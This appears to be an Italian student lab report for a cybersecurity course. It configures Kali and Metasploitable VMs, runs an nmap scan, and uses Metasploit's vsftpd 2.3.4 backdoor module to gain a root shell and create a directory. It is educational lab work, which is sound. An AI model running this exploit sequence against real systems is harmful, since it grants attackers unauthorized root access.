Report lezione 1 settimana 7

> A cura di Iris Canole
> Data: 03/11/2025
> Corso: Cybersecurity Specialist

Introduzione ed obiettivi

Nella lezione pratica di oggi, ci concentreremo su come condurre una sessione di hacking utilizzando Metasploit su una macchina virtuale Metasploitable.
L'obiettivo di oggi è completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.

Una delle richieste, inoltre, è cambiare gli indirizzi IP della Kali e della Metasploitable.

Svolegimento dell'esercizio

Configurazione dell'indirizzo IP delle macchine Kali e Metasploitable

Come prima cosa, cambiamo tipo di rete sulla Kali e aggiungiamo una nuova rete dalle impostazioni di connessione.

Andiamo su `connection` ➜ `create` :

- rinominiamo la rete come "Connessione esercizio"
- Andiamo sulla sezione IPv4 e inseriamo tipo "Manuale"
- Impostiamo:
  - L'indirizzo IP ➜ `192.168.1.100`
  - Il CIDR ➜ `24`

Verifichiamo la connessione `ip a` e vediamo se le configurazioni di rete sono corrette.

Per la Metasploitable, lanciamo il comando `sudo nano /etc/network/interfaces`
Inseriamo:

- `iface eth0 inet static`
- `address 192.168.1.149`
- `netmask 255.255.255.0`
- `gateway 192.168.1.1`

Salviamo con `ctrl+X` e premiamo invio.

Lanciamo il comando `sudo /etc/init.d/networking restart` per riavviare la connessione.
Verifichiamo anche qui l'assegnazione dell'indirizzo IP corretto `con ip` a oppure `ifconfig`.

```
#iface eth0 inet dhcp
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
gateway 192.168.1.1



                              [ Wrote 17 lines ]

msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ sudo /etc/init.d/networking restart
 * Reconfiguring network interfaces...                                   [ OK ]
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:2c:82:94 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.149/24 brd 192.168.1.255 scope global eth0
    inet6 fe80::a00:27ff:fe2c:8294/64 scope link
       valid_lft forever preferred_lft forever
msfadmin@metasploitable:~$
```

Preparazione per provare l'exploit

Ora ci spostiamo sulla Kali e proviamo a fare un ping sulla Metasploitable, per vedere se le due macchine si trovano sulla stessa LAN e comunicano tra di loro.

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=103 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=3.39 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=3.37 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=6.45 ms
^C
── 192.168.1.149 ping statistics ──
4 packets transmitted, 4 received, 0% packet loss, time 3267ms
rtt min/avg/max/mdev = 3.365/28.994/102.769/42.612 ms
```

Il ping funziona, siamo pronti ad usare Nmap per dimostrare la presenza della macchina nella rete.

Lanciamo il comando `nmap -sV 192.168.1.149`

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-03 15:02 CET
Nmap scan report for 192.168.1.149
Host is up (0.0014s latency).
All 1000 scanned ports on 192.168.1.149 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 08:00:27:2C:82:94 (PCS Systemtechnik/Oracle VirtualBox virt
ual NIC)

Service detection performed. Please report any incorrect results at http
s://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 46.29 seconds
```

Ci spostiamo su Metasploit e lanciamo i seguenti comandi:

- `msfconsole`
- `search vsftpd`
- `use 1`

Ora configuriamo l'exploit:

- `show options`
- Qua bisogna vedere cosa manca nelle configurazoni
- Una volta inserite tutte le configurazioni corrette facciamo partire l'exploit con il comando `exploit`. Attendiamo qualche secondo

```
Metasploit tip: Save the current environment with the save command,
future console restarts will use this environment again

# cowsay++
 ____________
< metasploit >
 ------------
       \   ,__,
        \  (oo)____
           (__)    )\
              ||--|| *


       =[ metasploit v6.4.95-dev                          ]
+ -- --=[ 2,566 exploits - 1,315 auxiliary - 1,683 payloads     ]
+ -- --=[ 432 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial
of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdo
or Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_2
34_backdoor

msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

```
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks5,
                                        socks5h, sapni, http, socks4
   RHOSTS   192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
                                       etasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.100:33217 → 192.168.1.149:6200) at 2025-11-03 08:53:26 -0500
```

Una volta lanciato il comando `exploit`, entreremo nella shell della macchina vittima (nel nostro caso la Metasploitable).

Finalizzazione dell'esercizio

L'esercizio ci chiede di creare un directory all'interno della shell dal nome `test_metasploit`. Creiamo la directory usando il comando `mkdir test_metasploit` e come finale, lanciamo il comando ls -la per avere una visione d'insieme e ordianta dei contenuti.

```
mkdir /test_metasploit
ls -la
total 97
drwxr-xr-x  22 root root  4096 Nov  3 09:30 .
drwxr-xr-x  22 root root  4096 Nov  3 09:30 ..
-rw-r--r--   1 root root     0 Oct 21 12:17 Dx=:f3×4
drwxr-xr-x   2 root root  4096 May 13  2012 bin
drwxr-xr-x   4 root root  1024 May 13  2012 boot
lrwxrwxrwx   1 root root    11 Apr 28  2010 cdrom → media/cdrom
drwxr-xr-x  14 root root 13540 Nov  3 08:54 dev
drwxr-xr-x  94 root root  4096 Nov  3 08:53 etc
drwxr-xr-x   6 root root  4096 Apr 16  2010 home
drwxr-xr-x   2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx   1 root root    32 Apr 28  2010 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x  13 root root  4096 May 13  2012 lib
drwx------   2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x   4 root root  4096 Mar 16  2010 media
drwxr-xr-x   3 root root  4096 Apr 28  2010 mnt
-rw-------   1 root root  8705 Oct 10 02:51 nohup.out
drwxr-xr-x   2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x 110 root root     0 Oct 10 02:51 proc
drwxr-xr-x  13 root root  4096 Oct 10 02:51 root
drwxr-xr-x   2 root root  4096 May 13  2012 sbin
drwxr-xr-x   2 root root  4096 Mar 16  2010 srv
drwxr-xr-x  12 root root     0 Oct 10 02:51 sys
drwx------   2 root root  4096 Nov  3 09:30 test_metasploit
drwxrwxrwt   6 root root  4096 Oct 21 21:48 tmp
drwxr-xr-x  12 root root  4096 Apr 27  2010 usr
drwxr-xr-x  14 root root  4096 Mar 17  2010 var
lrwxrwxrwx   1 root root    29 Apr 28  2010 vmlinuz → boot/vmlinuz-2.6.24-16-server
```